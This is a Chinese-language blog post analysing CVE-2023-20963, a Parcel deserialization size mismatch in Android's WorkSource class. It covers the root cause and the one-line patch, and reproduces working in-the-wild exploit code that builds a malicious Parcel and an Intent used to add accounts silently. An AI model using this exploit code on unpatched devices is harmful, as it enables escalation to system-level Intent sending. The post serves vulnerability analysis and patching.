前言
-
在Android安全补丁级别2023-03-01之前的版本中,
android.os.WorkSource
这个类型存在Parcelable反序列化漏洞,成功利用漏洞的攻击者可实现以system身份发送任意Intent。关于该漏洞Google在安全公告中表示:There are indications that CVE-2023-20963 may be under limited, targeted exploitation.
-
Google的描述看起来是轻描淡写,但是实际上针对此漏洞的利用代码被内置到了中国一家有着3亿多月均DAU的电商软件中,同时最早的漏洞利用时间已经很难考证,至少是长达半年。可以说是Android乃至网络安全行业极大规模的漏洞利用事件。
-
今天并非讨论这次在野利用事件,主要关注漏洞本身。
漏洞分析
-
WorkSource这个类型在Android SDK中是存在的,但是其具体用于什么功能特性并不重要,主要还是关注其反序列化的实现。WorkSource的官方文档详见:https://developer.android.com/reference/android/os/WorkSource
@UnsupportedAppUsage WorkSource(Parcel in) { this.mNum = in.readInt(); this.mUids = in.createIntArray(); this.mNames = in.createStringArray(); int numChains = in.readInt(); // numChains = 1 if (numChains > 0) { this.mChains = new ArrayList<>(numChains); // create length = 1 array list in.readParcelableList(this.mChains, WorkChain.class.getClassLoader()); // read empty Parcelable list return; } this.mChains = null; } @Override // android.os.Parcelable public void writeToParcel(Parcel dest, int flags) { dest.writeInt(this.mNum); dest.writeIntArray(this.mUids); dest.writeStringArray(this.mNames); ArrayList<WorkChain> arrayList = this.mChains; if (arrayList == null) { dest.writeInt(-1); return; } dest.writeInt(arrayList.size()); // write size is 0 dest.writeParcelableList(this.mChains, flags); // write int 0 }
-
Parcelable反序列化类漏洞中,size处理的问题是比较常见的,这个也不例外。在第一次read的时候,攻击者使得numChains读取到int为1,然后进到里面readParcelableList直接放一个-1代表null,这样在new ArrayList的时候就给mChains创建了一个长度为1的ArrayList,但是并未add任何成员,这里面读取了2个int,8个字节。
-
然后进行write的时候,写入的是arrayList.size(),这里面会写入0,而writeParcelableList自带也会写入一个ArrayList的长度0,不过this.mChains里面并没有内容,所以不会再继续写入。
扩展知识:writeParcelableList如果写入null,会直接写入-1,如果写入一个size为0的ArrayList,则会写入其长度0,如果size不为0,则会写入实际size之后,再写入真正的内容。详情可以参考Parcel的源代码。
-
等到第二次read的时候,numChains是0,则不进入分支,也不调用readParcelableList,仅读取1个int,仅有4个字节。对比最初读取的8个字节,正好少了4个字节,存在mismatch问题,这也就是漏洞的所在。
根因分析
- 这个漏洞在Google的代码中潜藏时间很久,没有仔细检查历史版本,应该Android 10时代就已存在,那么为什么技术超群的Google程序员还会犯下这个错误呢?这里我根据个人的一些想法进行推测,仅代表个人观点。
- 我们可以看到这里面漏洞主要的成因是numChains数值和mChains实际大小不一致的问题,这里面我的推测是Google程序员之前做JavaScript开发比较多,因为JS中的Array对象就是数组的形态,如果new Array传入1的话,至少会有一个为0的成员,再取其长度也是1,这里可以验证一下:
var array = new Array(1) console.log(array.length); // 1
- 而在Java中的ArrayList就并不是这样,我们查看ArrayList构造器的定义可以发现,其传入的int参数实际含义是初始化容量,这个值默认为10,并且会随着add的成员而动态伸缩。
public ArrayList(int initialCapacity)
- 这里可以合理推测,Google程序员因为其JS的经验,下意识认为使用1来调用new ArrayList,其拿到的size也是1,至少在writeParcelableList会写入一个8个字节,但是事与愿违,new ArrayList的参数是初始化容量的意思,即使传入了1但不add任何成员的情况下,其size依旧是0,这样便导致了漏洞的出现。
漏洞利用
- 该漏洞的利用比较常规,下面是已经披露出的在野利用代码:
Bundle bundle = new Bundle(); Parcel obtain = Parcel.obtain(); Parcel obtain2 = Parcel.obtain(); Parcel obtain3 = Parcel.obtain(); obtain2.writeInt(3); obtain2.writeInt(13); obtain2.writeInt(2); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(6); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(4); obtain2.writeString("android.os.WorkSource"); obtain2.writeInt(-1); obtain2.writeInt(-1); obtain2.writeInt(-1); obtain2.writeInt(1); obtain2.writeInt(-1); obtain2.writeInt(13); obtain2.writeInt(13); obtain2.writeInt(68); obtain2.writeInt(11); obtain2.writeInt(0); obtain2.writeInt(7); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(1); obtain2.writeInt(1); obtain2.writeInt(13); obtain2.writeInt(22); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(13); obtain2.writeInt(-1); int dataPosition = obtain2.dataPosition(); obtain2.writeString("intent"); obtain2.writeInt(4); obtain2.writeString("android.content.Intent"); intent.writeToParcel(obtain3, 0); obtain2.appendFrom(obtain3, 0, obtain3.dataSize()); int dataPosition2 = obtain2.dataPosition(); obtain2.setDataPosition(dataPosition - 4); obtain2.writeInt(dataPosition2 - dataPosition); obtain2.setDataPosition(dataPosition2); int dataSize = obtain2.dataSize(); obtain.writeInt(dataSize); obtain.writeInt(1279544898); obtain.appendFrom(obtain2, 0, dataSize); obtain.setDataPosition(0); bundle.readFromParcel(obtain);
- 随后可以使用静默账号添加的技术,攻击AccountManagerService完成利用,详情请看我之前写的文章。
Intent intent = new Intent(); intent.setComponent(new ComponentName("android", "android.accounts.ChooseTypeAndAccountActivity")); ArrayList<Account> allowableAccounts = new ArrayList<>(); allowableAccounts.add(new Account("pxx", MY_ACCOUNT_TYPE)); intent.putExtra("allowableAccounts", allowableAccounts); intent.putExtra("allowableAccountTypes", new String[] { MY_ACCOUNT_TYPE }); Bundle options = new Bundle(); options.putBoolean("alivePullStartUp", true); intent.putExtra("addAccountOptions", options); intent.putExtra("descriptionTextOverride", " "); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_CLEAR_TASK); startActivity(intent);
- 在拿到system uid任意Intent发送之后,可配合其他Intent重定向漏洞或者系统FileProvider进行进一步利用,详情可以见网上的利用代码分析文章。
修复
- 将numChains的判断从>0改为>=0即可解决问题,使得第二次read时也进入if分支,和第一次read保持一致即可。
- if (numChains > 0) {
+ if (numChains >= 0) {
- 建议各位Android用户及时更新补丁,安全更新级别为2023-03-01以及之后的为安全,补丁链接:https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3
总结
- 可以说很多漏洞的出现都是想当然,程序员对代码的理解存在偏差,就很容易为逻辑漏洞埋下伏笔。CVE-2023-20963就是一个惨痛的教训,Google程序员少写的一个等号,就导致现网大量用户被在野利用攻击,造成的损失难以估计。